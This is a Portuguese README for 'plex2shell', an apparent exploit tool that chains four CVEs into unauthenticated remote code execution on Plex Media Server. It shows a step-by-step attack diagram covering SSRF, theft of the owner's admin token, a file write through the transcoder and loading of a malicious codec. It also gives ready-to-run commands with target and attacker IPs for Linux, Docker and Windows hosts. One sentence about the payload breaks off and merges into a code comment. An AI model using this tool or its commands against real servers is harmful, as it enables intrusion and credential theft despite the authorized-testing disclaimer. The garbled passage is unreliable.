
CVE-2026-96652 CVE-2026-96654 CVE-2026-96655 CVE-2026-96656
Cadeia de RCE não autenticada para Plex Media Server 1.43.3.10828 e versões anteriores.
CVSS 3.1: 10.0 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Análise: https://zmain.info/blog/plex2shell
Esta ferramenta é publicada apenas para testes de segurança autorizados, pesquisa acadêmica e fins defensivos. Use-a somente contra sistemas que você possui ou para os quais tem permissão escrita explícita de teste. Os autores não são responsáveis por uso indevido ou danos causados por esta ferramenta. O acesso não autorizado a sistemas computacionais é ilegal.
| CVE | Primitiva |
|---|---|
| CVE-2026-96652 | SSRF não autenticada via /player/timeline protocol= |
| CVE-2026-96654 | Pivô para loopback: guarda de autenticação morta + injeção em searchOne identifier= |
| CVE-2026-96655 | SSRF no transcoder autenticado como owner + escrita de arquivo em caminho arbitrário (dump-yuv) |
| CVE-2026-96656 | Execução de código via dlopen de codec não assinado no diretório de configuração Codecs |
[internet aberta, token inválido]
|
(1) /player/timeline --- SSRF ---> origem loopback
|
(2) /system/agents/.../searchOne --- injeção identifier= --->
| RPC entre plugins
|
(3) networking.py:149 --- confusão de prefixo 127.0.0.1.* --->
| exfiltração do token admin do owner
v
atacante possui o token admin do OWNER
|
(4) /video/:/transcode/universal?path=<url> --- SSRF no transcoder --->
| busca mídia do atacante
|
(5) TranscoderH264Options=dump-yuv --- x264 grava ELF do atacante
| no diretório de configuração Codecs
v
segundo transcode -> dlopen() de cada *.so -> construtor executa
v
[uid=1000(plex)]
O payload é a luma do frame 0 de um carregador sem perdas (qp=0) que o
ffmpeg, gcc (ou x86_64-w64-mingw32-gcc para alvos Windows)# Linux nativo (.deb/.rpm):
python3 plex2shell.py --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# Docker:
python3 plex2shell.py --target-os linux-docker --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# Windows:
python3 plex2shell.py --target-os windows --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# Execução única:
python3 plex2shell.py --target 10.0.0.5:32400 --attacker-ip 10.0.0.9 --exec "id; hostname"
--help para todo o resto.
GPLv3